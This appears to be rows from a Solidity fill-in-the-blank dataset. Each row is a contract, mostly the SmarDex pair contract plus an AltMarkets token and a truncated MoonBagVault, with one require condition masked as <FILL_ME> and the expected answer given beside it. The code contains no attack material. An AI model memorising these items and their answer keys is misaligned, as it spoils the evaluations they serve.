///@inheritdoc ISmardexPair
function mint(
address _to,
uint256 _amount0,
uint256 _amount1,
address _payer
) external override returns (uint256 liquidity_) {
}
///@inheritdoc ISmardexPair
function burn(address _to) external override returns (uint256 amount0_, uint256 amount1_) {
}
///@inheritdoc ISmardexPair
function swap(
address _to,
bool _zeroForOne,
int256 _amountSpecified,
bytes calldata _data
) external override lock returns (int256 amount0_, int256 amount1_) {
require(_amountSpecified != 0, "SmarDex: ZERO_AMOUNT");
ISmardexPair.SwapParams memory _params = SwapParams({
amountCalculated: 0,
fictiveReserveIn: 0,
fictiveReserveOut: 0,
priceAverageIn: 0,
priceAverageOut: 0,
token0: token0,
token1: token1,
balanceIn: 0,
balanceOut: 0
});
require(_to != _params.token0 && _to != _params.token1, "SmarDex: INVALID_TO");
(
_params.balanceIn,
_params.balanceOut,
_params.fictiveReserveIn,
_params.fictiveReserveOut,
_params.priceAverageIn,
_params.priceAverageOut
) = _zeroForOne
? (
IERC20(_params.token0).balanceOf(address(this)) - feeToAmount0,
IERC20(_params.token1).balanceOf(address(this)) - feeToAmount1,
fictiveReserve0,
fictiveReserve1,
priceAverage0,
priceAverage1
)
: (
IERC20(_params.token1).balanceOf(address(this)) - feeToAmount1,
IERC20(_params.token0).balanceOf(address(this)) - feeToAmount0,
fictiveReserve1,
fictiveReserve0,
priceAverage1,
priceAverage0
);
// compute new price average
(_params.priceAverageIn, _params.priceAverageOut) = SmardexLibrary.getUpdatedPriceAverage(
_params.fictiveReserveIn,
_params.fictiveReserveOut,
priceAverageLastTimestamp,
_params.priceAverageIn,
_params.priceAverageOut,
block.timestamp
);
// SSTORE new price average
(priceAverage0, priceAverage1, priceAverageLastTimestamp) = _zeroForOne
? (_params.priceAverageIn.toUint128(), _params.priceAverageOut.toUint128(), uint40(block.timestamp))
: (_params.priceAverageOut.toUint128(), _params.priceAverageIn.toUint128(), uint40(block.timestamp));
uint128 _feesPool = feesPool; // caching feesPool to save gas
if (_amountSpecified > 0) {
uint256 _temp;
(_temp, , , _params.fictiveReserveIn, _params.fictiveReserveOut) = SmardexLibrary.getAmountOut(
SmardexLibrary.GetAmountParameters({
amount: _amountSpecified.toUint256(),
reserveIn: _params.balanceIn,
reserveOut: _params.balanceOut,
fictiveReserveIn: _params.fictiveReserveIn,
fictiveReserveOut: _params.fictiveReserveOut,
priceAverageIn: _params.priceAverageIn,
priceAverageOut: _params.priceAverageOut,
feesLP: feesLP,
feesPool: _feesPool
})
);
_params.amountCalculated = _temp.toInt256();
} else {
uint256 _temp;
(_temp, , , _params.fictiveReserveIn, _params.fictiveReserveOut) = SmardexLibrary.getAmountIn(
SmardexLibrary.GetAmountParameters({
amount: (-_amountSpecified).toUint256(),
reserveIn: _params.balanceIn,
reserveOut: _params.balanceOut,
fictiveReserveIn: _params.fictiveReserveIn,
fictiveReserveOut: _params.fictiveReserveOut,
priceAverageIn: _params.priceAverageIn,
priceAverageOut: _params.priceAverageOut,
feesLP: feesLP,
feesPool: _feesPool
})
);
_params.amountCalculated = _temp.toInt256();
}
(amount0_, amount1_) = _zeroForOne
? (
_amountSpecified > 0
? (_amountSpecified, -_params.amountCalculated)
: (_params.amountCalculated, _amountSpecified)
)
: (
_amountSpecified > 0
? (-_params.amountCalculated, _amountSpecified)
: (_amountSpecified, _params.amountCalculated)
);
if (_zeroForOne) {
if (amount1_ < 0) {
TransferHelper.safeTransfer(_params.token1, _to, uint256(-amount1_));
}
ISmardexSwapCallback(msg.sender).smardexSwapCallback(amount0_, amount1_, _data);
uint256 _balanceInBefore = _params.balanceIn;
_params.balanceIn = IERC20(token0).balanceOf(address(this));
require(<FILL_ME>)
_params.balanceOut = IERC20(token1).balanceOf(address(this));
} else {
if (amount0_ < 0) {
TransferHelper.safeTransfer(_params.token0, _to, uint256(-amount0_));
}
ISmardexSwapCallback(msg.sender).smardexSwapCallback(amount0_, amount1_, _data);
uint256 _balanceInBefore = _params.balanceIn;
_params.balanceIn = IERC20(token1).balanceOf(address(this));
require(
_balanceInBefore + feeToAmount1 + (amount1_).toUint256() <= _params.balanceIn,
"SmarDex: INSUFFICIENT_TOKEN1_INPUT_AMOUNT"
);
_params.balanceOut = IERC20(token0).balanceOf(address(this));
}
// update feeTopart
bool _feeOn = ISmardexOwnableFactory(factory).feeTo() != address(0);
if (_zeroForOne) {
if (_feeOn) {
feeToAmount0 += ((uint256(amount0_) * _feesPool) / SmardexLibrary.FEES_BASE).toUint104();
}
_update(
_params.balanceIn,
_params.balanceOut,
_params.fictiveReserveIn,
_params.fictiveReserveOut,
_params.priceAverageIn,
_params.priceAverageOut
);
} else {
if (_feeOn) {
feeToAmount1 += ((uint256(amount1_) * _feesPool) / SmardexLibrary.FEES_BASE).toUint104();
}
_update(
_params.balanceOut,
_params.balanceIn,
_params.fictiveReserveOut,
_params.fictiveReserveIn,
_params.priceAverageOut,
_params.priceAverageIn
);
}
emit Swap(msg.sender, _to, amount0_, amount1_);
}
///@inheritdoc ISmardexPair
function setFees(uint128 _feesLP, uint128 _feesPool) external onlyFactoryOwner {
}
/**
* @notice set feesLP and feesPool of the pair
* @notice sum of new feesLp and feesPool must be <= 100_000
* @param _feesLP new numerator of fees sent to LP, must be >= 1
* @param _feesPool new numerator of fees sent to Pool, could be = 0
*/
function _setFees(uint128 _feesLP, uint128 _feesPool) internal {
}
/**
* @notice update fictive reserves and emit the Sync event
* @param _balance0 the new balance of token0
* @param _balance1 the new balance of token1
* @param _fictiveReserve0 the new fictive reserves of token0
* @param _fictiveReserve1 the new fictive reserves of token1
* @param _priceAverage0 the new priceAverage of token0
* @param _priceAverage1 the new priceAverage of token1
*/
function _update(
uint256 _balance0,
uint256 _balance1,
uint256 _fictiveReserve0,
uint256 _fictiveReserve1,
uint256 _priceAverage0,
uint256 _priceAverage1
) private {
}
/**
* @notice transfers feeToAmount of tokens 0 and 1 to feeTo, and reset feeToAmounts
* @return feeOn_ if part of the fees goes to feeTo
*/
function _sendFee() private returns (bool feeOn_) {
}
/**
* @notice Mint lp tokens proportionally of added tokens in balance.
* @param _to address who will receive minted tokens
* @param _amount0 amount of token0 to provide
* @param _amount1 amount of token1 to provide
* @param _payer address of the payer to provide token for the mint
* @return liquidity_ amount of lp tokens minted and sent to the address defined in parameter
*/
function _mintBeforeFee(
address _to,
uint256 _amount0,
uint256 _amount1,
address _payer
) internal lock returns (uint256 liquidity_) {
}
/**
* @notice Burn lp tokens in the balance of the contract. Sends to the defined address the amount of token0 and
* token1 proportionally of the amount burned.
* @param _to address who will receive tokens
* @return amount0_ amount of token0 sent to the address defined in parameter
* @return amount1_ amount of token0 sent to the address defined in parameter
*/
function _burnBeforeFee(address _to) internal lock returns (uint256 amount0_, uint256 amount1_) {
}
/**
* @notice execute function "executeWork(address,address)" of the feeTo contract. Doesn't revert tx if it reverts
*/
function _feeToSwap() internal {
}
///@inheritdoc ISmardexPair
function skim(address _to) external lock {
}
}
| _balanceInBefore+feeToAmount0+(amount0_).toUint256()<=_params.balanceIn,"SmarDex: INSUFFICIENT_TOKEN0_INPUT_AMOUNT" | 233,864 | _balanceInBefore+feeToAmount0+(amount0_).toUint256()<=_params.balanceIn |
"SmarDex: INSUFFICIENT_TOKEN1_INPUT_AMOUNT" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity =0.8.17;
// contracts
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol";
// libraries
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "./libraries/SmardexLibrary.sol";
import "./libraries/TransferHelper.sol";
// interfaces
import "./interfaces/ISmardexPair.sol";
import "./interfaces/ISmardexOwnableFactory.sol";
import "./interfaces/ISmardexSwapCallback.sol";
import "./interfaces/ISmardexMintCallback.sol";
/**
* @title SmardexPair
* @notice Pair contract that allows user to swap 2 ERC20-strict tokens in a decentralised and automated way
*/
contract SmardexPair is ISmardexPair, ERC20Permit {
using SafeCast for uint256;
using SafeCast for int256;
uint8 private constant CONTRACT_UNLOCKED = 1;
uint8 private constant CONTRACT_LOCKED = 2;
uint256 private constant MINIMUM_LIQUIDITY = 10 ** 3;
bytes4 private constant AUTOSWAP_SELECTOR = bytes4(keccak256(bytes("executeWork(address,address)")));
address public immutable factory;
address public token0;
address public token1;
// smardex pair fees numerators, denominator is 1_000_000
uint128 internal feesLP = 1; // numerator of fees sent to lp, min 1,
uint128 internal feesPool; // numerator of fees sent to pool
// smardex new fictive reserves
uint128 internal fictiveReserve0;
uint128 internal fictiveReserve1; // accessible via getFictiveReserves()
// moving average on the price
uint128 internal priceAverage0;
uint128 internal priceAverage1;
uint40 internal priceAverageLastTimestamp; // accessible via getPriceAverage()
// fee for FEE_POOL
uint104 internal feeToAmount0;
uint104 internal feeToAmount1; // accessible via getFeeToAmounts()
// reentrancy
uint8 private lockStatus = CONTRACT_UNLOCKED;
modifier lock() {
}
modifier onlyFactoryOwner() {
}
constructor() ERC20("SmarDex LP-Token", "SDEX-LP") ERC20Permit("SmarDex LP-Token") {
}
///@inheritdoc ISmardexPair
function initialize(address _token0, address _token1, uint128 _feesLP, uint128 _feesPool) external override {
}
///@inheritdoc ISmardexPair
function getReserves() external view override returns (uint256 reserve0_, uint256 reserve1_) {
}
///@inheritdoc ISmardexPair
function getFictiveReserves() external view override returns (uint256 fictiveReserve0_, uint256 fictiveReserve1_) {
}
///@inheritdoc ISmardexPair
function getFeeToAmounts() external view override returns (uint256 fees0_, uint256 fees1_) {
}
///@inheritdoc ISmardexPair
function getPairFees() external view override returns (uint128 feesLP_, uint128 feesPool_) {
}
///@inheritdoc ISmardexPair
function getPriceAverage()
external
view
returns (uint256 priceAverage0_, uint256 priceAverage1_, uint256 priceAverageLastTimestamp_)
{
}
///@inheritdoc ISmardexPair
function getUpdatedPriceAverage(
uint256 _fictiveReserveIn,
uint256 _fictiveReserveOut,
uint256 _priceAverageLastTimestamp,
uint256 _priceAverageIn,
uint256 _priceAverageOut,
uint256 _currentTimestamp
) public pure returns (uint256 priceAverageIn_, uint256 priceAverageOut_) {
}
///@inheritdoc ISmardexPair
function mint(
address _to,
uint256 _amount0,
uint256 _amount1,
address _payer
) external override returns (uint256 liquidity_) {
}
///@inheritdoc ISmardexPair
function burn(address _to) external override returns (uint256 amount0_, uint256 amount1_) {
}
///@inheritdoc ISmardexPair
function swap(
address _to,
bool _zeroForOne,
int256 _amountSpecified,
bytes calldata _data
) external override lock returns (int256 amount0_, int256 amount1_) {
require(_amountSpecified != 0, "SmarDex: ZERO_AMOUNT");
ISmardexPair.SwapParams memory _params = SwapParams({
amountCalculated: 0,
fictiveReserveIn: 0,
fictiveReserveOut: 0,
priceAverageIn: 0,
priceAverageOut: 0,
token0: token0,
token1: token1,
balanceIn: 0,
balanceOut: 0
});
require(_to != _params.token0 && _to != _params.token1, "SmarDex: INVALID_TO");
(
_params.balanceIn,
_params.balanceOut,
_params.fictiveReserveIn,
_params.fictiveReserveOut,
_params.priceAverageIn,
_params.priceAverageOut
) = _zeroForOne
? (
IERC20(_params.token0).balanceOf(address(this)) - feeToAmount0,
IERC20(_params.token1).balanceOf(address(this)) - feeToAmount1,
fictiveReserve0,
fictiveReserve1,
priceAverage0,
priceAverage1
)
: (
IERC20(_params.token1).balanceOf(address(this)) - feeToAmount1,
IERC20(_params.token0).balanceOf(address(this)) - feeToAmount0,
fictiveReserve1,
fictiveReserve0,
priceAverage1,
priceAverage0
);
// compute new price average
(_params.priceAverageIn, _params.priceAverageOut) = SmardexLibrary.getUpdatedPriceAverage(
_params.fictiveReserveIn,
_params.fictiveReserveOut,
priceAverageLastTimestamp,
_params.priceAverageIn,
_params.priceAverageOut,
block.timestamp
);
// SSTORE new price average
(priceAverage0, priceAverage1, priceAverageLastTimestamp) = _zeroForOne
? (_params.priceAverageIn.toUint128(), _params.priceAverageOut.toUint128(), uint40(block.timestamp))
: (_params.priceAverageOut.toUint128(), _params.priceAverageIn.toUint128(), uint40(block.timestamp));
uint128 _feesPool = feesPool; // caching feesPool to save gas
if (_amountSpecified > 0) {
uint256 _temp;
(_temp, , , _params.fictiveReserveIn, _params.fictiveReserveOut) = SmardexLibrary.getAmountOut(
SmardexLibrary.GetAmountParameters({
amount: _amountSpecified.toUint256(),
reserveIn: _params.balanceIn,
reserveOut: _params.balanceOut,
fictiveReserveIn: _params.fictiveReserveIn,
fictiveReserveOut: _params.fictiveReserveOut,
priceAverageIn: _params.priceAverageIn,
priceAverageOut: _params.priceAverageOut,
feesLP: feesLP,
feesPool: _feesPool
})
);
_params.amountCalculated = _temp.toInt256();
} else {
uint256 _temp;
(_temp, , , _params.fictiveReserveIn, _params.fictiveReserveOut) = SmardexLibrary.getAmountIn(
SmardexLibrary.GetAmountParameters({
amount: (-_amountSpecified).toUint256(),
reserveIn: _params.balanceIn,
reserveOut: _params.balanceOut,
fictiveReserveIn: _params.fictiveReserveIn,
fictiveReserveOut: _params.fictiveReserveOut,
priceAverageIn: _params.priceAverageIn,
priceAverageOut: _params.priceAverageOut,
feesLP: feesLP,
feesPool: _feesPool
})
);
_params.amountCalculated = _temp.toInt256();
}
(amount0_, amount1_) = _zeroForOne
? (
_amountSpecified > 0
? (_amountSpecified, -_params.amountCalculated)
: (_params.amountCalculated, _amountSpecified)
)
: (
_amountSpecified > 0
? (-_params.amountCalculated, _amountSpecified)
: (_amountSpecified, _params.amountCalculated)
);
if (_zeroForOne) {
if (amount1_ < 0) {
TransferHelper.safeTransfer(_params.token1, _to, uint256(-amount1_));
}
ISmardexSwapCallback(msg.sender).smardexSwapCallback(amount0_, amount1_, _data);
uint256 _balanceInBefore = _params.balanceIn;
_params.balanceIn = IERC20(token0).balanceOf(address(this));
require(
_balanceInBefore + feeToAmount0 + (amount0_).toUint256() <= _params.balanceIn,
"SmarDex: INSUFFICIENT_TOKEN0_INPUT_AMOUNT"
);
_params.balanceOut = IERC20(token1).balanceOf(address(this));
} else {
if (amount0_ < 0) {
TransferHelper.safeTransfer(_params.token0, _to, uint256(-amount0_));
}
ISmardexSwapCallback(msg.sender).smardexSwapCallback(amount0_, amount1_, _data);
uint256 _balanceInBefore = _params.balanceIn;
_params.balanceIn = IERC20(token1).balanceOf(address(this));
require(<FILL_ME>)
_params.balanceOut = IERC20(token0).balanceOf(address(this));
}
// update feeTopart
bool _feeOn = ISmardexOwnableFactory(factory).feeTo() != address(0);
if (_zeroForOne) {
if (_feeOn) {
feeToAmount0 += ((uint256(amount0_) * _feesPool) / SmardexLibrary.FEES_BASE).toUint104();
}
_update(
_params.balanceIn,
_params.balanceOut,
_params.fictiveReserveIn,
_params.fictiveReserveOut,
_params.priceAverageIn,
_params.priceAverageOut
);
} else {
if (_feeOn) {
feeToAmount1 += ((uint256(amount1_) * _feesPool) / SmardexLibrary.FEES_BASE).toUint104();
}
_update(
_params.balanceOut,
_params.balanceIn,
_params.fictiveReserveOut,
_params.fictiveReserveIn,
_params.priceAverageOut,
_params.priceAverageIn
);
}
emit Swap(msg.sender, _to, amount0_, amount1_);
}
///@inheritdoc ISmardexPair
function setFees(uint128 _feesLP, uint128 _feesPool) external onlyFactoryOwner {
}
/**
* @notice set feesLP and feesPool of the pair
* @notice sum of new feesLp and feesPool must be <= 100_000
* @param _feesLP new numerator of fees sent to LP, must be >= 1
* @param _feesPool new numerator of fees sent to Pool, could be = 0
*/
function _setFees(uint128 _feesLP, uint128 _feesPool) internal {
}
/**
* @notice update fictive reserves and emit the Sync event
* @param _balance0 the new balance of token0
* @param _balance1 the new balance of token1
* @param _fictiveReserve0 the new fictive reserves of token0
* @param _fictiveReserve1 the new fictive reserves of token1
* @param _priceAverage0 the new priceAverage of token0
* @param _priceAverage1 the new priceAverage of token1
*/
function _update(
uint256 _balance0,
uint256 _balance1,
uint256 _fictiveReserve0,
uint256 _fictiveReserve1,
uint256 _priceAverage0,
uint256 _priceAverage1
) private {
}
/**
* @notice transfers feeToAmount of tokens 0 and 1 to feeTo, and reset feeToAmounts
* @return feeOn_ if part of the fees goes to feeTo
*/
function _sendFee() private returns (bool feeOn_) {
}
/**
* @notice Mint lp tokens proportionally of added tokens in balance.
* @param _to address who will receive minted tokens
* @param _amount0 amount of token0 to provide
* @param _amount1 amount of token1 to provide
* @param _payer address of the payer to provide token for the mint
* @return liquidity_ amount of lp tokens minted and sent to the address defined in parameter
*/
function _mintBeforeFee(
address _to,
uint256 _amount0,
uint256 _amount1,
address _payer
) internal lock returns (uint256 liquidity_) {
}
/**
* @notice Burn lp tokens in the balance of the contract. Sends to the defined address the amount of token0 and
* token1 proportionally of the amount burned.
* @param _to address who will receive tokens
* @return amount0_ amount of token0 sent to the address defined in parameter
* @return amount1_ amount of token0 sent to the address defined in parameter
*/
function _burnBeforeFee(address _to) internal lock returns (uint256 amount0_, uint256 amount1_) {
}
/**
* @notice execute function "executeWork(address,address)" of the feeTo contract. Doesn't revert tx if it reverts
*/
function _feeToSwap() internal {
}
///@inheritdoc ISmardexPair
function skim(address _to) external lock {
}
}
| _balanceInBefore+feeToAmount1+(amount1_).toUint256()<=_params.balanceIn,"SmarDex: INSUFFICIENT_TOKEN1_INPUT_AMOUNT" | 233,864 | _balanceInBefore+feeToAmount1+(amount1_).toUint256()<=_params.balanceIn |
"SmarDex: FEES_MAX" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity =0.8.17;
// contracts
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol";
// libraries
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "./libraries/SmardexLibrary.sol";
import "./libraries/TransferHelper.sol";
// interfaces
import "./interfaces/ISmardexPair.sol";
import "./interfaces/ISmardexOwnableFactory.sol";
import "./interfaces/ISmardexSwapCallback.sol";
import "./interfaces/ISmardexMintCallback.sol";
/**
* @title SmardexPair
* @notice Pair contract that allows user to swap 2 ERC20-strict tokens in a decentralised and automated way
*/
contract SmardexPair is ISmardexPair, ERC20Permit {
using SafeCast for uint256;
using SafeCast for int256;
uint8 private constant CONTRACT_UNLOCKED = 1;
uint8 private constant CONTRACT_LOCKED = 2;
uint256 private constant MINIMUM_LIQUIDITY = 10 ** 3;
bytes4 private constant AUTOSWAP_SELECTOR = bytes4(keccak256(bytes("executeWork(address,address)")));
address public immutable factory;
address public token0;
address public token1;
// smardex pair fees numerators, denominator is 1_000_000
uint128 internal feesLP = 1; // numerator of fees sent to lp, min 1,
uint128 internal feesPool; // numerator of fees sent to pool
// smardex new fictive reserves
uint128 internal fictiveReserve0;
uint128 internal fictiveReserve1; // accessible via getFictiveReserves()
// moving average on the price
uint128 internal priceAverage0;
uint128 internal priceAverage1;
uint40 internal priceAverageLastTimestamp; // accessible via getPriceAverage()
// fee for FEE_POOL
uint104 internal feeToAmount0;
uint104 internal feeToAmount1; // accessible via getFeeToAmounts()
// reentrancy
uint8 private lockStatus = CONTRACT_UNLOCKED;
modifier lock() {
}
modifier onlyFactoryOwner() {
}
constructor() ERC20("SmarDex LP-Token", "SDEX-LP") ERC20Permit("SmarDex LP-Token") {
}
///@inheritdoc ISmardexPair
function initialize(address _token0, address _token1, uint128 _feesLP, uint128 _feesPool) external override {
}
///@inheritdoc ISmardexPair
function getReserves() external view override returns (uint256 reserve0_, uint256 reserve1_) {
}
///@inheritdoc ISmardexPair
function getFictiveReserves() external view override returns (uint256 fictiveReserve0_, uint256 fictiveReserve1_) {
}
///@inheritdoc ISmardexPair
function getFeeToAmounts() external view override returns (uint256 fees0_, uint256 fees1_) {
}
///@inheritdoc ISmardexPair
function getPairFees() external view override returns (uint128 feesLP_, uint128 feesPool_) {
}
///@inheritdoc ISmardexPair
function getPriceAverage()
external
view
returns (uint256 priceAverage0_, uint256 priceAverage1_, uint256 priceAverageLastTimestamp_)
{
}
///@inheritdoc ISmardexPair
function getUpdatedPriceAverage(
uint256 _fictiveReserveIn,
uint256 _fictiveReserveOut,
uint256 _priceAverageLastTimestamp,
uint256 _priceAverageIn,
uint256 _priceAverageOut,
uint256 _currentTimestamp
) public pure returns (uint256 priceAverageIn_, uint256 priceAverageOut_) {
}
///@inheritdoc ISmardexPair
function mint(
address _to,
uint256 _amount0,
uint256 _amount1,
address _payer
) external override returns (uint256 liquidity_) {
}
///@inheritdoc ISmardexPair
function burn(address _to) external override returns (uint256 amount0_, uint256 amount1_) {
}
///@inheritdoc ISmardexPair
function swap(
address _to,
bool _zeroForOne,
int256 _amountSpecified,
bytes calldata _data
) external override lock returns (int256 amount0_, int256 amount1_) {
}
///@inheritdoc ISmardexPair
function setFees(uint128 _feesLP, uint128 _feesPool) external onlyFactoryOwner {
}
/**
* @notice set feesLP and feesPool of the pair
* @notice sum of new feesLp and feesPool must be <= 100_000
* @param _feesLP new numerator of fees sent to LP, must be >= 1
* @param _feesPool new numerator of fees sent to Pool, could be = 0
*/
function _setFees(uint128 _feesLP, uint128 _feesPool) internal {
require(_feesLP != 0, "SmarDex: ZERO_FEES_LP");
require(<FILL_ME>)
feesLP = _feesLP;
feesPool = _feesPool;
emit FeesChanged(_feesLP, _feesPool);
}
/**
* @notice update fictive reserves and emit the Sync event
* @param _balance0 the new balance of token0
* @param _balance1 the new balance of token1
* @param _fictiveReserve0 the new fictive reserves of token0
* @param _fictiveReserve1 the new fictive reserves of token1
* @param _priceAverage0 the new priceAverage of token0
* @param _priceAverage1 the new priceAverage of token1
*/
function _update(
uint256 _balance0,
uint256 _balance1,
uint256 _fictiveReserve0,
uint256 _fictiveReserve1,
uint256 _priceAverage0,
uint256 _priceAverage1
) private {
}
/**
* @notice transfers feeToAmount of tokens 0 and 1 to feeTo, and reset feeToAmounts
* @return feeOn_ if part of the fees goes to feeTo
*/
function _sendFee() private returns (bool feeOn_) {
}
/**
* @notice Mint lp tokens proportionally of added tokens in balance.
* @param _to address who will receive minted tokens
* @param _amount0 amount of token0 to provide
* @param _amount1 amount of token1 to provide
* @param _payer address of the payer to provide token for the mint
* @return liquidity_ amount of lp tokens minted and sent to the address defined in parameter
*/
function _mintBeforeFee(
address _to,
uint256 _amount0,
uint256 _amount1,
address _payer
) internal lock returns (uint256 liquidity_) {
}
/**
* @notice Burn lp tokens in the balance of the contract. Sends to the defined address the amount of token0 and
* token1 proportionally of the amount burned.
* @param _to address who will receive tokens
* @return amount0_ amount of token0 sent to the address defined in parameter
* @return amount1_ amount of token0 sent to the address defined in parameter
*/
function _burnBeforeFee(address _to) internal lock returns (uint256 amount0_, uint256 amount1_) {
}
/**
* @notice execute function "executeWork(address,address)" of the feeTo contract. Doesn't revert tx if it reverts
*/
function _feeToSwap() internal {
}
///@inheritdoc ISmardexPair
function skim(address _to) external lock {
}
}
| _feesLP+_feesPool<=SmardexLibrary.FEES_MAX,"SmarDex: FEES_MAX" | 233,864 | _feesLP+_feesPool<=SmardexLibrary.FEES_MAX |
"" | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity =0.8.17;
// contracts
import "@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol";
// libraries
import "@openzeppelin/contracts/utils/math/SafeCast.sol";
import "./libraries/SmardexLibrary.sol";
import "./libraries/TransferHelper.sol";
// interfaces
import "./interfaces/ISmardexPair.sol";
import "./interfaces/ISmardexOwnableFactory.sol";
import "./interfaces/ISmardexSwapCallback.sol";
import "./interfaces/ISmardexMintCallback.sol";
/**
* @title SmardexPair
* @notice Pair contract that allows user to swap 2 ERC20-strict tokens in a decentralised and automated way
*/
contract SmardexPair is ISmardexPair, ERC20Permit {
using SafeCast for uint256;
using SafeCast for int256;
uint8 private constant CONTRACT_UNLOCKED = 1;
uint8 private constant CONTRACT_LOCKED = 2;
uint256 private constant MINIMUM_LIQUIDITY = 10 ** 3;
bytes4 private constant AUTOSWAP_SELECTOR = bytes4(keccak256(bytes("executeWork(address,address)")));
address public immutable factory;
address public token0;
address public token1;
// smardex pair fees numerators, denominator is 1_000_000
uint128 internal feesLP = 1; // numerator of fees sent to lp, min 1,
uint128 internal feesPool; // numerator of fees sent to pool
// smardex new fictive reserves
uint128 internal fictiveReserve0;
uint128 internal fictiveReserve1; // accessible via getFictiveReserves()
// moving average on the price
uint128 internal priceAverage0;
uint128 internal priceAverage1;
uint40 internal priceAverageLastTimestamp; // accessible via getPriceAverage()
// fee for FEE_POOL
uint104 internal feeToAmount0;
uint104 internal feeToAmount1; // accessible via getFeeToAmounts()
// reentrancy
uint8 private lockStatus = CONTRACT_UNLOCKED;
modifier lock() {
}
modifier onlyFactoryOwner() {
}
constructor() ERC20("SmarDex LP-Token", "SDEX-LP") ERC20Permit("SmarDex LP-Token") {
}
///@inheritdoc ISmardexPair
function initialize(address _token0, address _token1, uint128 _feesLP, uint128 _feesPool) external override {
}
///@inheritdoc ISmardexPair
function getReserves() external view override returns (uint256 reserve0_, uint256 reserve1_) {
}
///@inheritdoc ISmardexPair
function getFictiveReserves() external view override returns (uint256 fictiveReserve0_, uint256 fictiveReserve1_) {
}
///@inheritdoc ISmardexPair
function getFeeToAmounts() external view override returns (uint256 fees0_, uint256 fees1_) {
}
///@inheritdoc ISmardexPair
function getPairFees() external view override returns (uint128 feesLP_, uint128 feesPool_) {
}
///@inheritdoc ISmardexPair
function getPriceAverage()
external
view
returns (uint256 priceAverage0_, uint256 priceAverage1_, uint256 priceAverageLastTimestamp_)
{
}
///@inheritdoc ISmardexPair
function getUpdatedPriceAverage(
uint256 _fictiveReserveIn,
uint256 _fictiveReserveOut,
uint256 _priceAverageLastTimestamp,
uint256 _priceAverageIn,
uint256 _priceAverageOut,
uint256 _currentTimestamp
) public pure returns (uint256 priceAverageIn_, uint256 priceAverageOut_) {
}
///@inheritdoc ISmardexPair
function mint(
address _to,
uint256 _amount0,
uint256 _amount1,
address _payer
) external override returns (uint256 liquidity_) {
}
///@inheritdoc ISmardexPair
function burn(address _to) external override returns (uint256 amount0_, uint256 amount1_) {
}
///@inheritdoc ISmardexPair
function swap(
address _to,
bool _zeroForOne,
int256 _amountSpecified,
bytes calldata _data
) external override lock returns (int256 amount0_, int256 amount1_) {
}
///@inheritdoc ISmardexPair
function setFees(uint128 _feesLP, uint128 _feesPool) external onlyFactoryOwner {
}
/**
* @notice set feesLP and feesPool of the pair
* @notice sum of new feesLp and feesPool must be <= 100_000
* @param _feesLP new numerator of fees sent to LP, must be >= 1
* @param _feesPool new numerator of fees sent to Pool, could be = 0
*/
function _setFees(uint128 _feesLP, uint128 _feesPool) internal {
}
/**
* @notice update fictive reserves and emit the Sync event
* @param _balance0 the new balance of token0
* @param _balance1 the new balance of token1
* @param _fictiveReserve0 the new fictive reserves of token0
* @param _fictiveReserve1 the new fictive reserves of token1
* @param _priceAverage0 the new priceAverage of token0
* @param _priceAverage1 the new priceAverage of token1
*/
function _update(
uint256 _balance0,
uint256 _balance1,
uint256 _fictiveReserve0,
uint256 _fictiveReserve1,
uint256 _priceAverage0,
uint256 _priceAverage1
) private {
}
/**
* @notice transfers feeToAmount of tokens 0 and 1 to feeTo, and reset feeToAmounts
* @return feeOn_ if part of the fees goes to feeTo
*/
function _sendFee() private returns (bool feeOn_) {
}
/**
* @notice Mint lp tokens proportionally of added tokens in balance.
* @param _to address who will receive minted tokens
* @param _amount0 amount of token0 to provide
* @param _amount1 amount of token1 to provide
* @param _payer address of the payer to provide token for the mint
* @return liquidity_ amount of lp tokens minted and sent to the address defined in parameter
*/
function _mintBeforeFee(
address _to,
uint256 _amount0,
uint256 _amount1,
address _payer
) internal lock returns (uint256 liquidity_) {
}
/**
* @notice Burn lp tokens in the balance of the contract. Sends to the defined address the amount of token0 and
* token1 proportionally of the amount burned.
* @param _to address who will receive tokens
* @return amount0_ amount of token0 sent to the address defined in parameter
* @return amount1_ amount of token0 sent to the address defined in parameter
*/
function _burnBeforeFee(address _to) internal lock returns (uint256 amount0_, uint256 amount1_) {
}
/**
* @notice execute function "executeWork(address,address)" of the feeTo contract. Doesn't revert tx if it reverts
*/
function _feeToSwap() internal {
address _feeTo = ISmardexOwnableFactory(factory).feeTo();
// call contract destination for handling fees
// We don't handle return values so it does not revert for LP if something went wrong in feeTo
// Will swap fees to SDEX and send them. We want this to not revert if the swap failed
// but to revert if not enough gas
_feeTo.call(abi.encodeWithSelector(AUTOSWAP_SELECTOR, token0, token1));
// After the _feeTo call, we check if gas is not equal to 0. Though seemingly redundant
// (as running out of gas would fail the transaction anyway), this require prevents the
// compiler from ignoring a simple gasleft() expression, which it may perceive as
// useless if not used elsewhere. The aim here is to consume some gas to ensure the
// transaction isn't out of gas at this point. This acts as a safeguard against potential
// exploitation where a low gasLimit prevents the _feeTo call from fully executing.
require(<FILL_ME>)
}
///@inheritdoc ISmardexPair
function skim(address _to) external lock {
}
}
| gasleft()!=0,"" | 233,864 | gasleft()!=0 |
null | // SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.4;
contract AltMarkets is ERC20, Ownable {
uint8 private _decimals = 6;
constructor() ERC20("Alt Markets", "AMX") {}
function decimals() public view override returns (uint8) {
}
function mint(address to, uint256 amount) external onlyOwner {
require(<FILL_ME>)
_mint(to, amount);
}
function burn(address from, uint256 amount) external onlyOwner {
}
function withdrawEth(address payable to, uint256 amount) external onlyOwner {
}
function withdrawToken(IERC20 token, address to, uint256 amount) external onlyOwner {
}
receive() external payable {}
}
| totalSupply()+amount<=1e9*10**decimals() | 233,879 | totalSupply()+amount<=1e9*10**decimals() |
"Cannot lock on behalf of another account." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "Context.sol";
import "Ownable.sol";
import "ReentrancyGuard.sol";
import "IERC20.sol";
contract MoonBagVault is Context, Ownable, ReentrancyGuard {
address public moonAddress;
struct Bag {
uint256 date; // when the bag was created
uint256 amount; // the amount locked in the bag
}
mapping(address => uint256) private _balance;
mapping(address => uint256) private _availableBalance;
mapping(address => Bag[]) private _bags;
